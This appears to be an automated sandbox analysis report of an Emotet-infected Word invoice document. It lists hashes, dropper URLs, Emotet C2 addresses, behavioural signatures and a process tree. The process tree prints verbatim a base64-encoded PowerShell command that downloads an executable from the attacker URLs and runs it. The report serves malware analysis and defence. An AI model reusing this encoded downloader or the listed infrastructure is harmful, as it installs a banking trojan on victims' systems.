Overview

overview

10

Static

static

8

INV_19823767.doc

windows7_x64

10

INV_19823767.doc

windows10_x64

1

Analysis

  • max time kernel
    59s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    10/08/2020, 13:47

Sharing

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General

  • Target
    INV_19823767.doc
  • Size 173KB
  • Sample200810-45pcnwfhex
  • SHA256 9e9dcc63032c40001dbddb5bd18a2b6fe5605bb069cc340d150b9a779f2ae273
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://laijie88.com/v7ql/6ru_8itd_e6n4mer/
  • exe.dropper

    https://sososothemes.com/scbsn/s_ud_hlqsv5mhub/
  • exe.dropper

    http://rebeltraiteur.com/kqcij/x0uw_3_sd58cj6xl/
  • exe.dropper

    http://chicagoyachtguru.com/site/v3cu_1p9f_0s6a/
  • exe.dropper

    http://safariilab.com/old-safariilab/9_k1_jgw/

Extracted

Family

  • emotet

C2

  • 74.120.55.163:80

  • 176.10.250.88:8080

  • 96.8.113.4:8080

  • 137.59.187.107:8080

  • 74.208.45.104:8080

  • 104.131.11.150:443

  • 110.145.77.103:80

  • 87.106.136.232:8080

  • 114.146.222.200:80

  • 37.187.72.193:8080

  • 181.230.116.163:80

  • 70.167.215.250:8080

  • 103.86.49.11:8080

  • 201.173.217.124:443

  • 109.74.5.95:8080

  • 95.213.236.64:8080

  • 5.39.91.110:7080

  • 78.24.219.147:8080

  • 81.2.235.111:8080

  • 183.101.175.193:80

rsa_pubkey.plain

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies registry class 280 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV_19823767.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1612
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABCAFcASgBKAEUAdABhAGcAPQAnAEQATwBIAFgARwBnAGoAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAHIAYABJAHQAWQBgAFAAUgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBEAFIARwBNAG0AeAB0ACAAPQAgACcAOQA2ADcAJwA7ACQASABSAFgAWQBCAHUAdgBiAD0AJwBXAFAAUQBDAE4AdwBvAHUAJwA7ACQAWABLAFEAQwBTAGMAYQBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAEQAUgBHAE0AbQB4AHQAKwAnAC4AZQB4AGUAJwA7ACQATgBHAFgAQgBNAG0AdwBkAD0AJwBIAFcATABYAEsAbQBsAGwAJwA7ACQATgBPAFIAVwBYAHgAeQBqAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAGMAbABpAEUATgBUADsAJABKAEsAQQBaAFUAeABhAGUAPQAnAGgAdAB0AHAAOgAvAC8AbABhAGkAagBpAGUAOAA4AC4AYwBvAG0ALwB2ADcAcQBsAC8ANgByAHUAXwA4AGkAdABkAF8AZQA2AG4ANABtAGUAcgAvACoAaAB0AHQAcABzADoALwAvAHMAbwBzAG8AcwBvAHQAaABlAG0AZQBzAC4AYwBvAG0ALwBzAGMAYgBzAG4ALwBzAF8AdQBkAF8AaABsAHEAcwB2ADUAbQBoAHUAYgAvACoAaAB0AHQAcAA6AC8ALwByAGUAYgBlAGwAdAByAGEAaQB0AGUAdQByAC4AYwBvAG0ALwBrAHEAYwBpAGoALwB4ADAAdQB3AF8AMwBfAHMAZAA1ADgAYwBqADYAeABsAC8AKgBoAHQAdABwADoALwAvAGMAaABpAGMAYQBnAG8AeQBhAGMAaAB0AGcAdQByAHUALgBjAG8AbQAvAHMAaQB0AGUALwB2ADMAYwB1AF8AMQBwADkAZgBfADAAcwA2AGEALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGYAYQByAGkAaQBsAGEAYgAuAGMAbwBtAC8AbwBsAGQALQBzAGEAZgBhAHIAaQBpAGwAYQBiAC8AOQBfAGsAMQBfAGoAZwB3AC8AJwAuACIAUwBgAFAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABEAFgASABQAEoAcwByAGoAPQAnAE4ATQBUAEIAUwBtAGYAbgAnADsAZgBvAHIAZQBhAGMAaAAoACQARABCAEMAWgBIAHQAcAByACAAaQBuACAAJABKAEsAQQBaAFUAeABhAGUAKQB7AHQAcgB5AHsAJABOAE8AUgBXAFgAeAB5AGoALgAiAGQAYABvAHcAbgBMAG8AQQBEAEYAYABpAEwARQAiACgAJABEAEIAQwBaAEgAdABwAHIALAAgACQAWABLAFEAQwBTAGMAYQBzACkAOwAkAE8ARwBGAEsAQwB4AHoAbgA9ACcAWQBaAEUARABRAGMAcQBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWABLAFEAQwBTAGMAYQBzACkALgAiAGwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA3ADAAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAEEAVABFACIAKAAkAFgASwBRAEMAUwBjAGEAcwApADsAJABZAFgARQBKAEMAbQBqAHIAPQAnAEYARABZAFIAWAB1AHgAZgAnADsAYgByAGUAYQBrADsAJABUAFYASgBQAFYAbwB0AGsAPQAnAEoAVgBSAEsASQBxAGoAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAFcAQwBZAFMAZwB4AGkAPQAnAFoASABHAEoAVAB4AHEAcgAnAA==
    1⤵
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Process spawned unexpected child process
    PID:1892
  • C:\Users\Admin\967.exe
    C:\Users\Admin\967.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1840
    • C:\Windows\SysWOW64\ntshrui\tcpmonui.exe
      "C:\Windows\SysWOW64\ntshrui\tcpmonui.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1596

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1596-22-0x00000000002D0000-0x00000000002DC000-memory.dmp
        Download

        memory/1596-21-0x0000000000613000-0x0000000000614000-memory.dmp
        Download

        memory/1612-4-0x000000000BBC0000-0x000000000BBC4000-memory.dmp
        Download

        memory/1612-5-0x000000000CC40000-0x000000000CC44000-memory.dmp
        Download

        memory/1612-2-0x00000000096D0000-0x00000000096D4000-memory.dmp
        Download

        memory/1840-18-0x00000000002F0000-0x00000000002FC000-memory.dmp
        Download

        memory/1840-17-0x00000000005D3000-0x00000000005D4000-memory.dmp
        Download

        memory/1892-9-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/1892-14-0x000000001A880000-0x000000001A881000-memory.dmp
        Download

        memory/1892-13-0x000000001C1E0000-0x000000001C1E1000-memory.dmp
        Download

        memory/1892-12-0x0000000002560000-0x0000000002561000-memory.dmp
        Download

        memory/1892-11-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/1892-10-0x000000001ACC0000-0x000000001ACC1000-memory.dmp
        Download

        memory/1892-8-0x000007FEF1A40000-0x000007FEF242C000-memory.dmp
        Download

        memory/2024-23-0x000007FEF2940000-0x000007FEF2BBA000-memory.dmp
        Download